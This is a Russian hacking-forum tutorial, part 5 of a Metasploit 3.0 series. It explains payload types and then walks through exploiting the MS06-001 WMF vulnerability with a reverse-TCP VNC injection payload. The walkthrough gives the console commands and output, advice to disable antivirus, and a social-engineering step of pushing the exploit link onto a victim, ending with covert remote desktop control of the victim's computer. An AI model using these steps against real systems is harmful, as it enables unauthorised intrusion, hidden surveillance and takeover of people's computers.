TotalControl (учимся юзать VNC или MSF 3.0 часть 5).
Предисловие.
Кто не знает что такое MSF 3.0 читайте статьи 1-4.
Долго ждали релиза Metasploit Framework 3.0 и наконец-то дождались!
Рекомендую к прочтению пользовательский мануал на русском, любезно переведённый n0ne.
читать мануал
В релизе очень много изменений, по сравнению даже с версией 3.0 beta 3. Остановлюсь на нескольких главных:
1.) Все сплоиты переписаны на Ruby, самих сплоитов естественно больше, уже 186 (после апдейта).
2.) Сплоиты лежат в подпапках по типам целей (уязвимых систем, браузеров, сервисов и т.п), при использовании надо указывать полный путь (копипастим, после команды
show exploits нужный сплоит, чтоб не набирать).
3.) Консоль перенесена полностью в веб-интерфейс и сделана на javascript.
4.) Добавлены многофункциональные начинки по механизму соединения: PassiveX, по функционалу: Meterpreter, Win32 DLL Injection, VNC сервера, также добавлены генераторы (обсфускаторы) кода сплоитов.
5.) Добавлена поддержка SOCKS и HTTP прокси (стабильна цепочка до 5 - говорят в мануале, но нам и одного анонимного хватит).
6.) Тут будут добавления...
Сразу скажу о главном недостатке: Так как используется интерпретатор Ruby+ эмуляция консоли в WEB-интерфейсе - наблюдаются ощутимые тормоза при работе в консоли. Для меня актуально, так как весь пакет у меня стоит ещё в добавок в гостевой ОС, но если вы поставите его в основную систему то наверно дискомфорта можете и не заметить. Виртуальная система по производительности соответствует Pentium-II-433 с 512 RAM - так, что обладатели старых компьютеров тоже могут ощутить
медленную работу в WEB-интерфейсе. Жаль, что не оставили просто консоль (может где-то и есть, надо просто покопаться).
1. Обзор необычных, продвинутых, многофунциональных начинок.
а)
PassiveX - ну об этом типе начинок я не писал ещё, обратимся к ману и посмотрим, чем хорош этот тип начинки. Ага грузит произвольный элемент управления ActiveX. Начинки такого типа патчат реестр системы цели и заставляют взломанный процесс запустить браузер с URL, который соединится с Framework. Вообщем комп жертвы становится веб-сервером, который может принимать и отправляет запросы. Взломанная система загружает, регистрирует и исполняет ActiveX. Начальная начинка PassiveX, windows/xxx/reverse_http, поддерживает любой ActiveX. В дополнение к начальной начинке PassiveX модуля прилагаются ещё три (Meterpreter, Win32 DLL Injection, VNC сервер). Когда мы используем любую начинку этого типа, объект PassiveX будет эмулировать TCP соединение через HTTP GET и POST запросы. Это позволяет вести диалог с шеллом по HTTP трафику. Так как PassiveX использует браузер Internet Explorer для загрузки компонента AcitveX, он будет работать прямо через удаленный прокси, используя любую систему и настройки идентификации, которые были заранее сконфигурированы. Начинки PassiveX работают только на системах с установленным Inter Explorer 6.0 (не 5.5 и 7.0). Вообщем специфичный тип начинок, прокатит только, где есть Осёл 6.0. Хотя механизм очень интересен.
б)
Meterpreter - ну я уже о нем писал в 4 части статей по MSF, тут всё остаётся так же. Скажу только, то, что это продвинутый шелл, который позволяет расширять свой функционал динамически, т. е. когда мы в нём, ну типа автоапдейта (обновляет сам себя). Ну немного повторюсь и рассмотрю подробнее этот тип начинок: делаем show payloads в консоли и смотрим:
windows/meterpreter/bind_tcp Windows Meterpreter, Bind TCP Stager - просто биндит порт Стадии
windows/meterpreter/reverse_http Windows Meterpreter, PassiveX Reverse HTTP Tunneling Stager Пассивно реверсивно туннелирует Стадию по HTTP-протоколу - вот он PassiveX - тип начинки. Прокатывает только с IE 6.0
windows/meterpreter/reverse_ord_tcp Windows Meterpreter, Reverse Ordinal TCP Stager реверсивный порядок TCP Стадии
windows/meterpreter/reverse_tcp Windows Meterpreter, Reverse TCP Stager просто реверс Стадия
Вобщем отличие как в способе соединения (имеем 3 шт. back-connect варианта начинки meterpreter) + 1 простой бинд порта. Туннелирование, как вы поняли, позволит нам обойти фильтрацию файрволов по типу трафика но если нет на целевой системе Осла - нам ничего не даст (см. описание механизма. соединения PassiveX выше). Вообщем на этом типе начинок, я останавливаться подробно не буду, так как было описано в предыдущей статье.
в)
Win32 DLL Injection - Читающим статьи Криса Касперски должно быть известно такое название. Вобщем этот тип начинок способен внедрить в память любую DLL в комбинации с любым Win32 эксплоитом в память взломанного процесса. Эти начинки не записывают ничего на диск DLL'ка пишется прямо в память. Эта начинка была разработана Jarkko Tukulainen и Matt Miller и является одной из самых мощных техник взлома на сегодняшний день. Для создания DLL'ки, которая может быть использована с этой начинкой, используй любой девелоперский (разработческий) интерфейс и создай стандартный Win32 DLL. Этот DLL должен экспортировать функцию INIT, которая занимает один целочисленный аргумент, который содержит в себе дескриптор сокета, через который будет работать начинка. Когда процесс закончился, он должен вернуться и разрешить загрузчику выйти из процесса, согласно функции EXITFUNC. Ну да инжект рулит, внедрение в процесс, тут тебе и обход
файрволов и т. д. (правда если есть контроль компонентов то запалится). Вообщем делайте свою DLL и можете закинуть на комп жертвы! А можно и выбрать какую либо, например бажную и взломать уже через её повторно.

. Я на этом подробно отсанавливаться не буду, так как больший интерес этот тип начинок представляет для тех, кто кодит и пишет свои dll.
г)
VNC сервер - самое "вкусное" - это не что иное как удалённый рабочий стол с обычным привычным интерфейсом, таким как у сервера терминалов или Радмина! Тут используется механизм инжектирования dll во взломанный процесс (см. метод описанный выше). Но саму dll нам уже предоставили! Она и выполняет функции VNC-сервера - передаёт нам содержимое рабочего стола взломанного компа. Одна из первых DLL начинок был VNC сервер. Он был написан Matt Miller и основывался на RealVNC. Дополнительные модификации были сделаны для того, чтобы сервер мог работать со взломанным, неинтерактивным сетевым сервисом. Эта начинка позволяет получить доступ к рабочему столу взломанной системы, используя Win32 эксплоит. DLL'ка загружается в удаленный процесс, используя организованную загрузочную систему и слушает запросы VNC клиента на том же сокете, через который загружался DLL. Framework слушает локальный сокет VNC клиента и информацию о прокси через соединение начинки с сервером. VNC сервер будет пытаться получить полный доступ к рабочему столу. Если первая попытка завершается неудачей - он вызовет функцию RevertToSelf() и потом попробует получить доступ снова. Если опять неудача - он вернется в read-only режим. То есть в этом режиме мы сможем только просматривать содержимое рабочего стола (как режим view у Радмина) . Если получим полный доступ то VNC сервер запустит коммандную строку на рабочем столе с привилегиями взломанного сервиса. Это удобно, когда за компьютером сидит непривилегированный пользователь, а взломанный сервис имеет привилегии System. Если ни один пользователь не зашел в систему, или экран заблокирован, коммандная строка может быть использована для запуска explorer.exe-проводника.. Если пользователь блокирует экран во время использования или заходит другой пользователь, т.е. происходит смена экрана, то VNC сервер отключится от клиента. Есть несколько ситуаций, когда VNC-сервер не будет работать. Вообщем если переменные окружения взломанной системы имеют специфические значения, которые критичны для эксплоита или метода внедрения, то облом!
3. Практическое использование VNC-сервера (инжект vncdll.dll во взломанный процесс).
1. Запускаем пакет MSF. грузится долго у меня в гостевой ОС. Выключим KIS 6.0 чтоб не надоедал (проактивная защита)
2. Топаем на Вебсервер метасплоита, запускаем консоль.
Код:
Welcome to the Metasploit Web Console!
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
=[ msf v3.0
+ -- --=[ 186 exploits - 104 payloads
+ -- --=[ 17 encoders - 5 nops
=[ 33 aux
3. смотрим сплоиты...
Код:
>> show exploits
Exploits
========
Name Description
------- пропущено -----------
windows/browser/ms06_001_wmf_setabortproc Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution
windows/browser/ie_createobject Internet Explorer COM CreateObject Code Execution
windows/browser/ie_iscomponentinstalled Internet Explorer isComponentInstalled Overflow
---- пропущено -----
4. Выбираем WMF-сплоит...
Код:
use windows/browser/ms06_001_wmf_setabortproc
5. Смотрим инфу по нём:
Код:
info windows/browser/ms06_001_wmf_setabortproc
Name: Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution
Version: 4647
Platform: Windows
Privileged: No
License: Metasploit Framework License
Provided by:
hdm <hdm@metasploit.com>
san <san@xfocus.org>
O600KO78RUS <O600KO78RUS@unknown.ru>
Available targets:
Id Name
-- ----
0 Windows XP/2003/Vista Automatic
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 10.0.3.84 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Space: 1220
Avoid: 1 characters
Description:
This module exploits a vulnerability in the GDI library included
with Windows XP and 2003. This vulnerability uses the 'Escape'
metafile function to execute arbitrary code through the SetAbortProc
procedure. This module generates a random WMF record stream for each
request.
References:
http://www.microsoft.com/technet/security/bulletin/MS06-001.mspx
http://www.securityfocus.com/bid/16074
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2005-4560
http://www.osvdb.org/21987
http://milw0rm.com/metasploit/111
http://www.microsoft.com/technet/security/advisory/912840.mspx
http://wvware.sourceforge.net/caolan/ora-wmf.html
http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt
6. Задаём необходимые параметры:
Код:
>> set LHOST 10.0.3.84
LHOST => 10.0.3.84
>> set URIPATH sploit
URIPATH => sploit
7. Смотрим начинки...
Код:
>> show payloads
Compatible payloads
===================
Name Description
-------------- пропущено -------------------------
Stager
windows/upexec/reverse_tcp Windows Upload/Execute, Reverse TCP Stager
windows/vncinject/bind_tcp Windows VNC Inject, Bind TCP Stager
windows/vncinject/reverse_http Windows VNC Inject, PassiveX Reverse HTTP Tunneling Stager
windows/vncinject/reverse_ord_tcp Windows VNC Inject, Reverse Ordinal TCP Stager
windows/vncinject/reverse_tcp Windows VNC Inject, Reverse TCP Stager
8.
windows/vncinject/reverse_tcp - самое то, это и есть VNC сервер, который мы инжектируем во взломанный процесс. Выбираем это начинку:
Код:
>> set PAYLOAD windows/vncinject/reverse_tcp
PAYLOAD => windows/vncinject/reverse_tcp
9. Всё готово, можно коммандовать exploit!
Код:
>> exploit
[*] Started reverse handler
[*] Using URL: http://10.0.3.84:8080/sploit
[*] Server started.
[*] Exploit running as background job.
10. Впариваем ссылку на страницу, поднятую метасплоитом, которая будет эксплуатировать уязвимость системной библиотеки в обработке метафайлов.
Код:
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (340049 bytes)...
[*] Upload completed.
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[*] Launched vnciewer in the background.
[*] VNC Server session 1 opened (10.0.3.84:4444 -> 10.0.3.118:1052)
11. Ага, клиент попался... запустим VNCViewer из Tools и приконнектимся к взломанной машине.
Вот так мы взломали удалённо компьютер юзверя и получили удалённый рабочий стол с возможностью выполнения комманд. Примечательно, то что сервер VNC невиден в процессах, так как он исполнен в виде dll, которая инжектированна в взломанный процесc run32dll.exe - и он будет жить до тех пор, пока не грохнут родителя (run32dll.exe).
4. Заключение.
Вот так мы испытали технику инжектирования dll во взломанный процесс и удачно получили доступ к рабочему столу юзверя. Снял видео по взлому, кому интересно качать
тут (55 метров в ахиве)
-=lebed=- (с) специально для Античат.
отдельное спасибо n0ne за перевод мануала MSF 3.0 (использовал инфу с его перевода мануала MSF 3.0)
Кстать n0ne, как там дела с переводом мана для разработчиков?